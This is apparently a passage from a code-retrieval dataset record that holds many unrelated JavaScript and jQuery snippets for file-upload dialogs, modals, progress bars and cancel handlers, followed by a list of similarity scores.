trigger_attachUp = function() {\n if(typeof files[count] === 'undefined' || count > totalFiles - 1) {\n if(jb_attach_uploads.length) jb_rd_btn.removeClass('__disabled');\n edUpload();\n return false;\n }\n var formData = new FormData();\n formData.append('files[]', files[count]);\n formData.append('to', recipientId);\n $.ajax({\n url: _st.attachUpload,\n type: 'POST',\n xhr: function() { // Custom XMLHttpRequest\n var Xhr = $.ajaxSettings.xhr();\n if(Xhr.upload) { // Check if upload property exists\n Xhr.upload.addEventListener('progress', function(e) {\n var p_cont = $('#at_upload_' + count + ' .main_progress_photo');\n if(e.lengthComputable) {\n var p_percentage = Math.round((e.loaded / e.total) * 100);\n p_cont.css('width', p_percentage + '%');\n }\n }, false); // For handling the progress of the upload\n }\n return Xhr;\n },\n //Ajax events\n beforeSend: function() {\n readAttach(count);\n },\n success: function(data) {\n var response = validateJson(data);\n if(response['status'] === 'OK') {\n var container = $('#at_upload_' + count);\n var u_image = container.find('img');\n jb_attach_uploads.push(response['photoid']);\n u_image.attr({\n 'src': '/getPhoto?p=' + response['photoid'] + '&attach=true&v' + (new Date())\n .getTime()\n });\n container.children(':first')\n .addClass('selectable-card __selected')\n .attr({\n 'data-photoc': response['photoid'],\n 'onclick': 'jb_uploaded_attach_click(event,this)',\n 'id': 'abidal_' + response['photoid']\n });\n container.find('#restore_recent_upload')\n .attr('href', '/profile?q=' + (response['userid']) + '&cmd=phreturn&i=' + (response['albumid']) + '&phf=' + (response['filename']) + '&ex=' + (response['extension']) + '&fsz=' + (response['filesize']) + '&pos=0&ad=' + response['added']);\n container.find('#delete_recent_upload')\n .removeAttr('style')\n .attr('href', '/profile?q=' + (response['userid']) + '&cmd=deletephoto&ph=' + response['photoid']);\n setTimeout(function() {\n container.removeAttr('id');\n count++;\n trigger_attachUp();\n }, 50);\n } else return displayErr(data);\n },\n error: function() {\n return displayErr(lang.somethingWrong)\n },\n // Form data\n data: formData,\n //Options to tell jQuery not to process data or worry about content-type.\n cache: false,\n contentType: false,\n processData: false\n });\n }\n trigger_attachUp();\n}", "function dataResolutionStartUpload() {\r\n\t$('#drw_upload_form').hide();\r\n\t$('#drw_upload_progress').show();\r\n}", "endLoading() {\n this.modal.jQueryModalFade.removeClass('modal_fade_trick');\n this.modal.jQueryModalAwait.css('display', 'none');\n }", "function openUploadModal() {\n var $postModal = $('#post-modal');\n $postModal.find('.post-form').data('action', '/post');\n $postModal.find('.modal-title').text('New Post');\n $postModal.find('.submit-btn').text('Submit');\n $postModal.find('.text').val('');\n $postModal.find('.tags').val('');\n $postModal.find('.file').val('');\n $postModal.find('.url').val('');\n $postModal.find('.preview').empty();\n\n openPostModal();\n }", "handelCancelFileUploadButton(event){\n this.showUploadFileDialog = false;\n this.fileUploadButtonClicked = false;\n }", "function showUploadSuccess(formInputErrorObject, elementIdToAdjust) {\r\n if (jQuery.isEmptyObject(formInputErrorObject)) {\r\n $('#' + elementIdToAdjust).parent().children('md-icon').css('opacity', '1');\r\n // $('#utility-bill-input').parent().children().first().css('opacity', '1');\r\n } else {\r\n $('#' + elementIdToAdjust).parent().children('md-icon').css('opacity', '0');\r\n }\r\n }", "function MUP_Open(){\n //console.log(\" ----- MUP_Open ----\")\n\n // --- show modal\n $(\"#id_mod_upload_permits\").modal({backdrop: true});\n } // MUP_Open", "function upload_files(form_id){\r\n\tvar url = $(\"#\" + form_id).prop(\"action\");\r\n if (url.lastIndexOf(\"master_id\") > 0){\r\n $.getJSON(url, function(files){\r\n var fu = $(\"#\" + form_id).data('blueimpFileupload'), template;\r\n fu._adjustMaxNumberOfFiles(-files.length);\r\n console.log(files);\r\n template = fu._renderDownload(files).appendTo($('#'+ form_id +' .files'));\r\n fu._reflow = fu._transition && template.length && template[0].offsetWidth;\r\n template.addClass('in');\r\n $('#loading').remove();\r\n });\r\n }\r\n\r\n}", "function fileUploaded(status) {\r\n document.getElementById('issuePicFormlet').style.display = 'none';\r\n document.getElementById('output').innerHTML = status;\r\n }", "function showUploadArea(){\n document.getElementById(\"upload-files-area\").style.display = \"block\";\n document.getElementById(\"main-content\").style.display = \"none\"; \n}", "showUploadModelDlg()\n {\n if( this.$.bucketlist.bucketlist.length == 0 )\n {\n this.dispatchEvent( new CustomEvent('forge-message', { bubbles: true, composed: true, \n detail : { key : \"BUCKET_LIST_UPLOAD\" } } ));\n return;\n }\n\n this.$.uploadModelFile.$.nativeInput.value = \"\";\n this.uploadModelFile = \"\";\n this.uploadModelRoot = \"\";\n this.uploadModelRegister = false;\n this.$.uploadModelDlg.open();\n }", "function clearFileUploadMessage() {\n $('#fileupload-message').text('')\n}", "function showProjectUploadOverlay() {\n\tshowOverlay(\"/project/get_project_uploader_overlay\", true);\n}", "function openAttachPopup() {\t\t\t\r\n\t$('#div_attach_doc_in_progress').hide();\r\n\t$('#div_attach_doc_success').hide();\r\n\t$('#div_attach_doc_fail').hide();\r\n\t$(\"#attachFieldUploadForm\").show();\r\n\t$('#myfile').val('');\r\n\t$('#attachment-popup').dialog({ bgiframe: true, modal: true, width: 400, \r\n\t\tbuttons: [\r\n\t\t\t{ text: langClose, click: function () { $(this).dialog('close'); } },\r\n\t\t\t{ text: langOD31, click: function () {\r\n\t\t\t\tif ($('#myfile').val().length < 1) {\r\n\t\t\t\t\talert(langOD32);\r\n\t\t\t\t\treturn false;\r\n\t\t\t\t}\r\n\t\t\t\t$(\":button:contains('\"+langOD31+\"')\").css('display','none');\r\n\t\t\t\t$('#div_attach_doc_in_progress').show();\r\n\t\t\t\t$('#attachFieldUploadForm').hide();\r\n\t\t\t\t$(\"#attachFieldUploadForm\").submit();\r\n\t\t\t} }\r\n\t\t]\r\n\t});\r\n}", "function doSlideUploads() {\n $('.slide-upload').off();\n $('.slide-upload').on(\"click\", function (e) {\n if ($(e.target).is('.slide-upload')) {\n var input = $(this).find('input[type=\"file\"]');\n input.click(); // Simulate a click on the file input button to show the file browser dialog\n\n input.change(function() {\n if (this.files && this.files[0]) {\n var reader = new FileReader();\n reader.onload = function(event) {\n var url = \"url(\" + event.target.result + \")\"\n input.parent().parent().css({\"background-image\": url, \"background-size\": \"100%\"});\n input.parent().parent().find(\"img\").hide();\n }\n reader.readAsDataURL(this.files[0]);\n }\n });\n\n } else console.log(\"wrong\")\n });\n }", "function dataImport() {\n\tdocument.getElementById(\"upload\").style.visibility = \"visible\";\n}", "function cancelledHandler(e) {\n console.log(\"upload cancelled\");\n}", "function hidePleaseWait () {\n $('#please-wait-modal').fadeOut(500, () => { })\n\n\n $('#please-wait-backdrop').fadeOut(500, () => { })\n}", "function disableShareWithOthersPopup(){\n\tif(popupStatus==1){\n\t\t$(\"#backgroundShareWithOthersPopup\").fadeOut(\"slow\");\n\t\t$(\"#popupShareWithOthers\").fadeOut(\"slow\");\n\t\tpopupStatus = 0;\n\t}\n}", "function popupUploadImg () {\n\t\t\tconsole.log('upload img modal win!!!!');\n\t\t\tcreate_jpg_web ();\n\t\t\t$.fancybox.open([\n\t\t\t\t\t{ href : '#modal-save-pdf', \n\t\t\t\t\t\ttitle : 'Сохранить в PDF'\n\t\t\t\t\t}\n\t\t\t\t], {\n\t\t\t\t\t\tmaxWidth\t: 800,\n\t\t\t\t\t\tmaxHeight\t: 600,\n\t\t\t\t\t\tfitToView\t: false,\n\t\t\t\t\t\twidth\t\t: '70%',\n\t\t\t\t\t\theight\t\t: '70%',\n\t\t\t\t\t\tautoSize\t: false,\n\t\t\t\t\t\tcloseClick\t: false,\n\t\t\t\t\t\topenEffect\t: 'fade',\n\t\t\t\t\t\tcloseEffect\t: 'fade'\n\t\t\t\t});\t\t\t\t\n\t\t}", "function hideFiles() { showFiles(true,this); }", "function openUpload() {\n closeForm();\n document.getElementById(\"upload-title\").value = \"\";\n document.getElementById(\"uploadForm\").style.display = \"block\";\n document.getElementById(\"delete\").disabled = true;\n document.getElementById(\"add\").disabled = true;\n document.getElementById(\"upload\").disabled = true;\n}", "function dontDeleteMyMedia(){\t\r\n\t$('#deleteMyMedia').dialog('close'); \r\n}", "function disablePopup_edit_objetivos_especificos(){\n\t//disables popup only if it is enabled\n\tif(popupStatus_edit_objetivos_especificos==1){\n\t\t$(\"#backgroundPopup_edit_objetivos_especificos\").fadeOut(\"slow\");\n\t\t$(\"#popupContact_edit_objetivos_especificos\").fadeOut(\"slow\");\n\t\tpopupStatus_edit_objetivos_especificos = 0;\n\t}\n}", "function cancel() {\n $('#confirmExportModal').css('display', 'none');\n $('#confirmImportModal').css('display', 'none');\n $('#confirmDownloadLogModal').css('display', 'none');\n $('#confirmCustomSchedExportModal').css('display', 'none');\n }", "function onShownBsModal() {\n isModalInTransitionToShow = false;\n }", "function resetUploadUI() {\n\t\t\t\t// Removing classes to elements\n\t\t\t\tuploadElement.removeClass('uploading finalizing finished');\n\t\t\t\t// Reseting progress bar to 0%\n\t\t\t\tbarElement.css('width', '0%');\n\t\t\t\tpercentElement.text('0 %');\n\t\t\t\t// Clearing preview\n\t\t\t\tpreviewElement.empty();\n\t\t\t\t// Clearing id\n\t\t\t\tidField.val('');\n\t\t\t}", "function submitUpload() {\n el(\"divRecordNotFound\").style.display = \"none\";\n if (el(\"hdnFileName\").value != '') {\n var tablename = getQStr(\"tablename\");\n if (tablename.toUpperCase() == \"TARIFF\" || tablename.toUpperCase() == \"TARIFF_CODE_DETAIL\") {\n showConfirmMessage(\"Do you really want to upload this File? This will Delete all the existing data from Database and Insert Data from the File.\",\n \"mfs().yesClickTariff();\", \"\", \"\");\n }\n else {\n hideDiv(\"btnSubmit\");\n showLayer(\"Loading..\");\n setTimeout(insertUploadTable, 0);\n }\n }\n else {\n showErrorMessage('Please Upload a file');\n el(\"divifgGrid\").style.display = \"none\";\n el(\"divlnk\").style.display = \"none\";\n }\n}", "function cancelUpload() {\n $(\"#contentUploadText\").html(\"Cancelling upload<p>This will take a few seconds.\");\n console.log(\"Cancel Upload files\");\n try {\n transferObject.cancel();\n } catch (exception) {\n alert(\"Exception in Cancel Upload Files\" + exception);\n }\n}", "function tutupFormLaporFoto() {\n $('#formLaporFoto').children().first().addClass('opacity-0')\n $('#formLaporFoto').children().first().on('transitionend MSTransitionEnd webkitTransitionEnd oTransitionEnd', function () {\n $('#formLaporFoto').children().first().addClass('hidden')\n });\n setTimeout(function () {\n $('#formLaporFoto').remove()\n }, 400);\n}", "function cancelModelUpload() {\r\n\r\n //Make sure it hasn't already been cancelled\r\n if (!cancelled) {\r\n cancelled = true; //set it immediately in case the user spams the cancel button\r\n $('.currentStepIcon').attr(\"src\", failLocation);\r\n $('.currentStatus').html(\"Cancelled\");\r\n\r\n //If a progressbar element exists, then it will have the .progress class,\r\n //so we need to hide it\r\n $('.currentStatus').siblings('.progress').slideUp(400);\r\n $('#CancelButton').hide();\r\n }\r\n\r\n}", "function reset() {\n $(\"#uploadPic\").css(\"display\", \"none\");\n $(\"#uploadPic\").hide(\"slow\");\n}", "function abortControlsAutoHide( viewer ) {\n var i;\n viewer.controlsShouldFade = false;\n for ( i = viewer.controls.length - 1; i >= 0; i-- ) {\n viewer.controls[ i ].setOpacity( 1.0 );\n }\n}", "function displayModalForm() {\n modalBackground.classList.remove('fadeOut');\n modalBackground.classList.add('fadeIn');\n }", "function jb_build_upload(ev) {\n var input = $(ev.target);\n var files = input[0].files;\n var phContent = $('.atch_cont');\n if(jb_attach_uploads.length == 21) {\n return displayErr(lang.jb_attach_maxim);\n } else if(files.length > 21) {\n return displayErr(lang.jb_attach_maxim_twone);\n }\n for(var i = 0; i < files.length; i++) {\n var file_ext = files[i].name.split('.')\n .pop()\n .toLowerCase();\n if($.inArray(file_ext, _st.photoTypes) == -1 && $.trim(file_ext)) {\n ev.preventDefault();\n ev.stopImmediatePropagation();\n $('.atch_cont .ec_items.__uploading')\n .remove();\n edUpload();\n return displayErr(lang.up_invalid_file_ext.replace('%s', _st.photoTypes));\n }\n if(files.length > _st.maxFilesUpload) {\n ev.preventDefault();\n ev.stopImmediatePropagation();\n edUpload();\n return displayErr(lang.up_maximumFiles.replace('%s', _st.maxFilesUpload));\n }\n phContent.prepend(jprintf(getUploadSkem(1), i, files[i].name));\n }\n edUpload(1);\n jb_upload_attach(files, input, ev);\n}", "function hideSpotUpload() {\n spotUploadPanel.classList.remove(\"spot-upload-open\");\n}", "function lockActions() {\n $('.modal').find('.actions-container')\n .children().first() // the save/submit button\n .addClass('disabled').prop('disabled', true);\n }", "onUploadFail() {\n $(this.options.progressBar)\n .removeClass(\"progress-bar-animated progress-bar-striped\")\n .addClass(\"bg-danger\");\n\n new Noty({\n timeout: 5000,\n text: $(this.options.fileInput).attr(\"data-upload-fail-message\"),\n type: \"error\"\n }).show();\n\n this.enableAddFileButton();\n }", "function esconderModal() {\n\tmodal.style.display = 'none';\n}", "function modalFade(event){\n if(event.target === flexImages1){\n $('#fadeDelay1').modal({\n fadeDuration: 250,\n fadeDelay: 0.80\n });\n }else if(event.target === flexImages2){\n $('#fadeDelay2').modal({\n fadeDuration: 250,\n fadeDelay: 0.80\n });\n }else{\n $('#fadeDelay3').modal({\n fadeDuration: 250,\n fadeDelay: 0.80\n }); \n }\n}", "function deleteAccountBoxOpen(){\n\t$(\"body\").css(\"pointer-events\",\"none\");\n\t$(\"#deleteAccountBox\").fadeIn();\n}", "function deleteUpload(recordid){\n $('#succMsgContainer').hide();\n $('#id').val(recordid);\n $('#aws-delete-file-modal').modal('show');\n}", "function uploadSHP(__f){\n\n\tif(typeof __f === 'function'){\n\t\t$('#dlgUploadSHP').one('hide.bs.modal', function () {\n\t\t\t\n\t\t\tvar r = $(\"#modal-result\",this).val();\n\t\t\t//console.log('hide.bs.modal', r);\n\t\t\tif(r)\n\t\t\t\t__f(r);//$('<div class=\"alert alert-success\" />').text(r).appendTo('body');\n\t\t});\n\t}\n\t$('#dlgUploadSHP').modal('show');\n}", "function noPreview() {\n $('#image-preview-div').css(\"display\", \"none\");\n $('#preview-img').attr('src', 'noimage');\n $('upload-button').attr('disabled', '');\n}", "function callback() {\r\n setTimeout(function () {\r\n $(\"#effect\").removeAttr(\"style\").hide().fadeIn();\r\n }, 1000);\r\n }", "function callback() {\r\n setTimeout(function () {\r\n $(\"#effect\").removeAttr(\"style\").hide().fadeIn();\r\n }, 1000);\r\n }", "preventSubmitIfUploading() {\n }", "function cancelUpload() {\n\t$.get(\"backend.php\", {'loginInfo': {\"allowed\": true, 'user': 'me'}, \"cancelUpload\": true},\n\t\tfunction(data, status, jqXHR) {\n\t\t\t// don't do anything. it will continue to run until it skips all entries. then\n\t\t\t// the normal processPDF() handler will finish it\n\t\t});\n}", "function showUploaded() {\n var userImageUrl = $('#imgurl').val();\n $('#imgurl').val('');\n $('#uploaded-image-card').fadeIn();\n $('#uploaded-image-card').html('<h2>' + \"You uploaded:\" + '</h2>' + '<img src=\"' + userImageUrl + '\" alt=\"\" class=\"image-thumbnail\"/>'); \n $('#dropdown').removeClass('hidden'); \n }", "function fileQueued(fileObj) {\n\t// Get rid of unused form\n\tjQuery('.media-blank').remove();\n\t// Collapse a single item\n\tif ( jQuery('.type-form #media-items>*').length == 1 && jQuery('#media-items .hidden').length > 0 ) {\n\t\tjQuery('.toggle').toggle();\n\t\tjQuery('.slidetoggle').slideUp(200).siblings().removeClass('hidden');\n\t}\n\t// Create a progress bar containing the filename\n\tjQuery('#media-items').append('<div id=\"media-item-' + fileObj.id + '\" class=\"media-item child-of-' + post_id + '\"><div class=\"progress\"><div class=\"bar\"></div></div><div class=\"filename original\">' + fileObj.name + '</div></div>');\n\t// Display the progress div\n\tjQuery('#media-item-' + fileObj.id + ' .progress').show();\n\n\t// Disable the submit button\n\tjQuery('#insert-gallery').attr('disabled', 'disabled');\n}", "function fadeStuffs() {\n $(\".hidden\").fadeIn('slow', 'swing').removeClass('hidden');\n }", "function showquitBoxClose() {\n $('#cl0sefile').show().css('z-index', '10001');\n }", "function handleUploads() {\n \n}", "uploadPhotoButtonHandler() {\n\t\tif (!Modal.checkLoggedIn()) return;\n\t\tdocument.getElementById(\"inputFileSelect\").click();\n\t}", "function exibeDivLoading() {\n $('#div-fade-loading').css('visibility', 'visible');\n}", "goodFile() {\n $('.pcm_importStatus').html('Data from file ready to be imported.').css('color','#dbfd23');\n $('.pcm_importButton').removeClass('disabled').prop(\"disabled\",false);\n }", "handleHideFiles(e) {\r\n const filesInput = $('#hideFiles')\r\n const filesInputLabel = $('label[for=\"hideFiles\"]').first()\r\n const filesOutput = $('#hideFilesOut')\r\n\r\n // Cancel if no files have been selected.\r\n if (e.target.files.length === 0) {\r\n filesInput.removeClass('is-valid')\r\n filesInputLabel.html('Choose files')\r\n filesInputLabel.removeClass('text-success')\r\n filesOutput.html('')\r\n return false\r\n }\r\n\r\n this.hideFiles = e.target.files\r\n this.printFiles(this.hideFiles, filesOutput)\r\n\r\n // Some green so they know it's worked.\r\n filesInput.addClass('is-valid')\r\n filesInputLabel.html(\r\n `${this.hideFiles.length}${this.hideFiles.length === 1 ? ' file chosen' : ' files chosen'}`\r\n )\r\n filesInputLabel.addClass('text-success')\r\n }", "emptySelectedFiles() {\n progressFacade.hide();\n this.replaceFieldSelectedFiles(this.ID_DIV_MSG_ERROR, this.ID_DIV_MSG_SUCCESS);\n }", "function appendToUploadToaster(file){\n\t\n // var toaster = $(\"<div></div>\").addClass(\"upload-toaster-list\");\n var toaster = $(\"#upload-toaster\")[0];\n // after a cancel it might already be there\n existing = $(\".upload-toaster-file[name='\" + escapeJquerySelector(file.name) + \"']\");\n \tif (existing.length > 0 ) return;\n \n \n $(\"<div></div>\")\n .addClass(\"upload-toaster-file\")\n .attr(\"name\", file.name)\n .append(\n $(\"<span></span>\")\n .addClass(\"upload-toaster-file-name\")\n .text(file.name)\n )\n .append(\n $(\"<div></div>\")\n .addClass(\"upload-toaster-file-progress\")\n .progressbar({\n change: function() {\n $(this).find(\".upload-toaster-file-progress-label\").text($(this).progressbar(\"value\") + \"%\");\n },\n complete: function() {\n $(this).find(\".upload-toaster-file-progress-label\").text(\"Complete!\");\n $(this).parent().find(\".upload-toaster-file-cancel\").button(\"disable\");\n \t$(this).find(\".globus-toaster-file-progress-label\").removeClass(\"barber\");\n }\n })\n .append(\n $(\"<div></div>\")\n .addClass(\"upload-toaster-file-progress-label\")\n .text(\"Pending\")\n )\n )\n .append(\n $(\"<button></button>\")\n .addClass(\"upload-toaster-file-cancel\")\n .text(\"Cancel\")\n .button()\n )\n .appendTo(toaster);\n var uploadDialog = $(\".upload-dialog\");\n uploadDialog.find(\".ui-dialog-titlebar-close\").hide();\n uploadDialog.find(\".ui-dialog-titlebar-minimize\").show();\n}", "function openModal() {\n modal.style.display = \"block\";\n document.getElementById('linkbox').innerHTML = \"\";\n document.getElementById('file').value = \"\";\n document.getElementById('insert-image').disabled = true;\n}", "function callback() {\n\t\tsetTimeout(function() {\n\t\t\t$( \"#effect\" ).removeAttr( \"style\" ).hide().fadeIn();\n\t\t\t}, 1000 \n\t\t);\n\t}", "function uploading(active, element) {\r\n\t//console.log(up);\r\n\t//if(!element)\r\n\telement = element ? $(element) : $('#activety-bar .upload');\r\n\r\n\r\n\t//console.log(element); console.log(active);\r\n\r\n\telement.css('opacity', (active ? 1.0 : 0.5));\r\n\r\n\t//console.log(element);\r\n }", "function displayLoadingImageThemeError(message) { \r\n var $popup = $(\"#popupDownloadImageTheme\");\r\n var currentOpacity = $popup.css(\"opacity\");\r\n if(currentOpacity) {\r\n var $progress = $(\".circleLoadingProgress\");\r\n var $error = $(\".circleLoadingError\");\r\n if($progress.is(\":visible\"))\r\n $progress.hide();\r\n if(!$error.is(\":visible\"))\r\n $error.show();\r\n $error.find(\"#circleLoadingError\").text(message.errorMessage);\r\n setTimeout(function() {\r\n $popup.fadeOut(500, function() {\r\n $(\"#circleLoadingProgress\").text(0);\r\n });\r\n }, 1500);\r\n }\r\n}", "function stoploading() {\n jQuery(\"body\").removeClass(\"am-form-overlay-active\");\n jQuery('.form-submit').removeAttr('disabled');\n jQuery('#loading').css('display','none');\n jQuery('#success_message').html('<div class=\"alert alert-dismissable fade in welcome-alert\"><a href=\"\" class=\"close\" data-dismiss=\"alert\" aria-label=\"close\">×</a><span class=\"message\">Your changes have been saved.</span></div>');\n}", "runPreLoadActions() {\n this.el.style.opacity = 0;\n }", "function cancelUpload() {\n vm.uploader.clearQueue();\n }", "function uiDisableButtons() {\n // Disable the Open button until we have a file to open\n $('#selectfile-append').addClass('disabled');\n $('#selectfile-replace').addClass('disabled');\n}", "function cancelNewProgramForm() {\n $('#injected-content').hide();\n $('#main-content').fadeIn();\n $('aside div').hide();\n $('aside div.new-program').fadeIn().css(\"display\",\"inline-block\");\n}", "function uploadmealpopup(username, mealts, callback) {\n \n $(hiddenframe).empty();\n \n var hiddeniframe = $(dc('iframe'))\n .attr('style', 'width:0px;height:0px;border:0px;')\n .attr('name', 'hiddeniframe')\n .attr('id', 'hiddeniframe');\n \n var uploadform = $(dc('form'))\n .attr('id', 'uploadform')\n .attr('name', 'uploadform')\n .attr('method', 'post')\n .attr('enctype', 'multipart/form-data')\n .attr('action', '/editmealsupload')\n .attr('target', 'hiddeniframe');\n \n uploadform.appendTo(hiddeniframe);\n \n // Wait for the html of the hidden iframe to change: tells you that\n // the upload was successful.\n var fileupload = $(dc('input'))\n .attr('type', 'file')\n .attr('name', 'inputupload')\n .attr('id', 'inputupload');\n \n // Pass the userid.\n var userid = $(dc('input'))\n .attr('type', 'hidden')\n .attr('name', 'username')\n .attr('id', 'username')\n .val(username);\n \n // Send the timestamp of the corresponding meal\n var mealtimestamp = $(dc('input'))\n .attr('type', 'hidden')\n .attr('name', 'mealInfo')\n .attr('id', 'mealInfo')\n .val(mealts);\n \n hiddeniframe.appendTo(hiddenframe);\n \n var cnt = 0;\n \n // TODO - this could be slow.. maybe i could show a popup bar \n // saying that things are uploading?\n function checkuploaded() {\n \n // Jquery-ize hidden iframe\n var $hiddeniframe = $(hiddeniframe);\n\n // Grab the text\n var bodytext = $hiddeniframe.contents().find('body').html();\n \n // The format is 'SUCCESS <timestamp> <mealheight> <thumbheight> <thumbwidth>\"\n var regex = /^SUCCESS [0-9]+ [0-9]+ [0-9]+ [0-9]+$/;\n\n // Have maximum pictures format - just another failure\n var maxpex = /^HAVE MAXIMUM PICS FOR THIS MEAL [0-9]+$/;\n \n // TODO: put a reasonable hard-timeout here.\n //\n // if the timeout expires, reload the 'main' page with a special\n // tag that says 'edit the first picture if it's greater than the \n // first picture I've ever seen (pass that in the request). Otherwise, \n // print an error message.\n if(null == bodytext || bodytext == \"\") {\n\n //console.log('checkuploaded bodytext is null - resetting timeout, cnt is ' + cnt++);\n setTimeout(checkuploaded, 500);\n return;\n\n }\n\n // Success case \n if(regex.test(bodytext)) {\n \n // Split on the spaces\n var ar = bodytext.split(\" \");\n \n // Retrieve picture timestamp\n var picts = parseInt(ar[1], 10);\n \n // Retrieve picture height\n var height = parseInt(ar[2], 10);\n\n // Retrieve thumbnail height\n var thumbheight = parseInt(ar[3], 10);\n \n // Retrieve thumb width\n var thumbwidth = parseInt(ar[4], 10);\n\n // Create minimal picinfo\n var pinfo = { \n 'timestamp' : picts, \n 'height' : height, \n 'thumbheight' : thumbheight,\n 'thumbwidth' : thumbwidth\n };\n \n // Debug messages\n /*\n //console.log('checkuploaded timestamp is ' + picts);\n //console.log('checkuploaded height is ' + height);\n //console.log('cnt is ' + cnt++);\n */\n \n // Add to the picture-mobile\n callback(null, pinfo);\n candismiss = true;\n return;\n }\n else {\n\n // Redirect to the homepage on error\n //console.log('Error from server: ' + bodytext);\n window.location.replace(\"/\");\n }\n }\n \n // Invoked when the user selects a file\n fileupload.change(function() {\n\n candismiss = false;\n uploadform.submit();\n setTimeout(checkuploaded, 500);\n\n });\n \n // Append these to the form\n fileupload.appendTo(uploadform);\n userid.appendTo(uploadform);\n mealtimestamp.appendTo(uploadform);\n \n // Display a dialog box\n $(fileupload).click();\n \n }", "function callback() {\nsetTimeout(function() {\n $( \"#effect\" ).removeAttr( \"style\" ).hide().fadeIn();\n}, 1000 );\n}", "function hideComposer(evt, nosave) {\n var es = evt ? (evt.target || evt.srcElement) : null;\n if (!es || !es.getAttribute || !es.getAttribute(\"class\") || (es.nodeName != 'A' && es.getAttribute(\"class\").search(/label/) == -1)) {\n if (!nosave) {\n saveDraft()\n }\n document.getElementById('splash').style.display = \"none\"\n }\n}", "function start() {\n showHide('upload', 'welcome');\n}", "function start() {\n showHide('upload', 'welcome');\n}", "cancel() {\n $(\"#addRestForm\").fadeOut();\n }", "badFile() {\n $('.pcm_importStatus').html('Not a valid import file.').css('color','#ff7a7a');\n $('.pcm_importButton').addClass('disabled').prop(\"disabled\",true);\n }", "function handleFileSelectUploadDirectly(e) {\n resetUploadUploadDirectly();\n\n maxBlockSize = 256 * 1024;\n currentFilePointer = 0;\n totalBytesRemaining = 0;\n var files = e.target.files;\n selectedFile = files[0];\n var fileSize = selectedFile.size;\n\n if (selectedFile.name.length < 1 || selectedFile.name.length > 150) {\n uploadDirectlyUploadError($('#modal-upload-directly-error-container').data(\"length\"));\n return false;\n }\n\n $('#modal-upload-directly-file-input').prop('disabled', true);\n $('#modal-upload-directly-file-input-wrapper').addClass('disabled');\n $('#modal-upload-directly-file-input-wrapper').find('p').css('margin-left', '17px');\n $('#modal-upload-directly-file-spin').css('display', '');\n\n if (fileSize < maxBlockSize) {\n maxBlockSize = fileSize;\n }\n totalBytesRemaining = fileSize;\n if (fileSize % maxBlockSize == 0) {\n numberOfBlocks = fileSize / maxBlockSize;\n } else {\n numberOfBlocks = parseInt(fileSize / maxBlockSize, 10) + 1;\n }\n\n $.ajax({\n url: '/UploadDirectly/GetUploadSASURI',\n data: AddAntiForgeryToken({ FileName: selectedFile.name, FileSize: selectedFile.size }),\n type: 'POST',\n dataType: 'json',\n async: true,\n cache: false,\n success: function (result) {\n if (result.success) {\n //console.log(\"max block size = \" + maxBlockSize);\n //console.log(\"total blocks = \" + numberOfBlocks);\n\n var title = $('#modal-direct-upload-title');\n $(title).text($(title).data('working'));\n\n $('#modal-upload-directly-container-idle').css('display', 'none');\n $('#modal-upload-directly-container-working').css('display', '');\n $('#modal-upload-directly-error-container').css('display', 'none');\n\n baseUrl = result.blobSASURI;\n\n var indexOfQueryStart = baseUrl.indexOf(\"?\");\n submitUri = baseUrl.substring(0, indexOfQueryStart) + \"/\" + result.blobName + baseUrl.substring(indexOfQueryStart);\n blobName = result.blobName;\n\n uploadFileInBlocksUploadDirectly();\n }\n else {\n uploadDirectlyUploadError(result.message);\n }\n },\n error: function (xhr, desc, err) {\n uploadDirectlyUploadError($('#modal-upload-directly-error-container').data(\"error\"));\n },\n complete: function () {\n $('#modal-upload-directly-file-spin').css('display', 'none');\n $('#modal-upload-directly-file-input').prop('disabled', false);\n $('#modal-upload-directly-file-input-wrapper').removeClass('disabled');\n $('#modal-upload-directly-file-input-wrapper').find('p').css('margin-left', '');\n }\n });\n }", "function uploadCourseVideoPreview(){\n $(function() {\n $(document).on(\"change\",\".uploadFileVideo\", function()\n {\n var uploadFile = $(this); \n var myInput = $(this).parent().parent().children('.putFile');\n var fileInput = $(this);\n var maxSize = $(this).data('max-size');\n var bar1 = new ldBar(\"#myBar\");\n\n //aqui a sua função normal\n if (fileInput.get(0).files.length) {\n var fileSize = fileInput.get(0).files[0].size; // in bytes\n if (fileSize > parseInt(maxSize) * parseInt(1000000) ) {\n swal({\n title: \"Ok\",\n text: \"Lo archivo supera el tamaño máximo de: \"+maxSize+\" MB\",\n type: 'warning',\n });\n return false;\n }else{\n var path = $(this).val();\n var filename = path.replace(/^.*\\\\/, \"\");\n var formData = new FormData();\n formData.append('videoPreview', $(this)[0].files[0]);\n\n var exibirMensagemDeEspera = function(){\n $(\"#myModal\").modal('show');\n }\n\n var ocultarMensagemDeEspera = function(){\n $(\"#myModal\").modal('hide'); \n }\n\n var definirPercentualConcluido = function(percentual){\n bar1.set(percentual);\n }\n\n exibirMensagemDeEspera();\n $.ajax({\n url: '/reg/video_preview',\n type: 'POST',\n data: formData,\n processData: false, \n contentType: false, \n xhr: function () {\n var xhr = $.ajaxSettings.xhr();\n xhr.upload.onprogress = function (e) {\n // For uploads\n if (e.lengthComputable) {\n var percent = Math.round(((e.loaded / e.total) *100));\n if(percent > 98){\n $(\"#myBar\").hide();\n $(\"#progressMessage\").show();\n \n }\n definirPercentualConcluido(percent); \n }\n };\n return xhr;\n },\n \n success: function(data){\n definirPercentualConcluido(0); \n myInput.val(data);\n ocultarMensagemDeEspera();\n $(\"#myBar\").show();\n $(\"#progressMessage\").hide();\n }\n });\n }\n } \n });\n });\n}", "function openModalFile() {\r\n\r\n seTvisibleFile(true);\r\n }", "CrossFadeQueued() {}" ]
[ "0.7439906", "0.73554957", "0.674798", "0.6637066", "0.65500516", "0.6418542", "0.6244227", "0.61476856", "0.61103165", "0.6082273", "0.60795707", "0.60764986", "0.601513", "0.60015655", "0.5995902", "0.5931892", "0.5908265", "0.5900964", "0.58961767", "0.5888191", "0.5875094", "0.585523", "0.58388305", "0.5835618", "0.5830729", "0.5817894", "0.5816138", "0.58123916", "0.5807905", "0.5723747", "0.5722035", "0.5719798", "0.5711925", "0.57076216", "0.57046604", "0.56963813", "0.5680443", "0.56763536", "0.56723714", "0.56699765", "0.56690437", "0.5656276", "0.565197", "0.56498975", "0.56495035", "0.5641115", "0.563874", "0.5628016", "0.56124073", "0.5611131", "0.5601384", "0.55921334", "0.558985", "0.5588849", "0.55850923", "0.55740196", "0.5573949", "0.5570141", "0.5558388", "0.555712", "0.5554986", "0.55535376", "0.55522716", "0.55507314", "0.5546499", "0.5541071", "0.5541071", "0.5539272", "0.55379194", "0.55310637", "0.5527739", "0.55245954", "0.5512043", "0.55080163", "0.5507706", 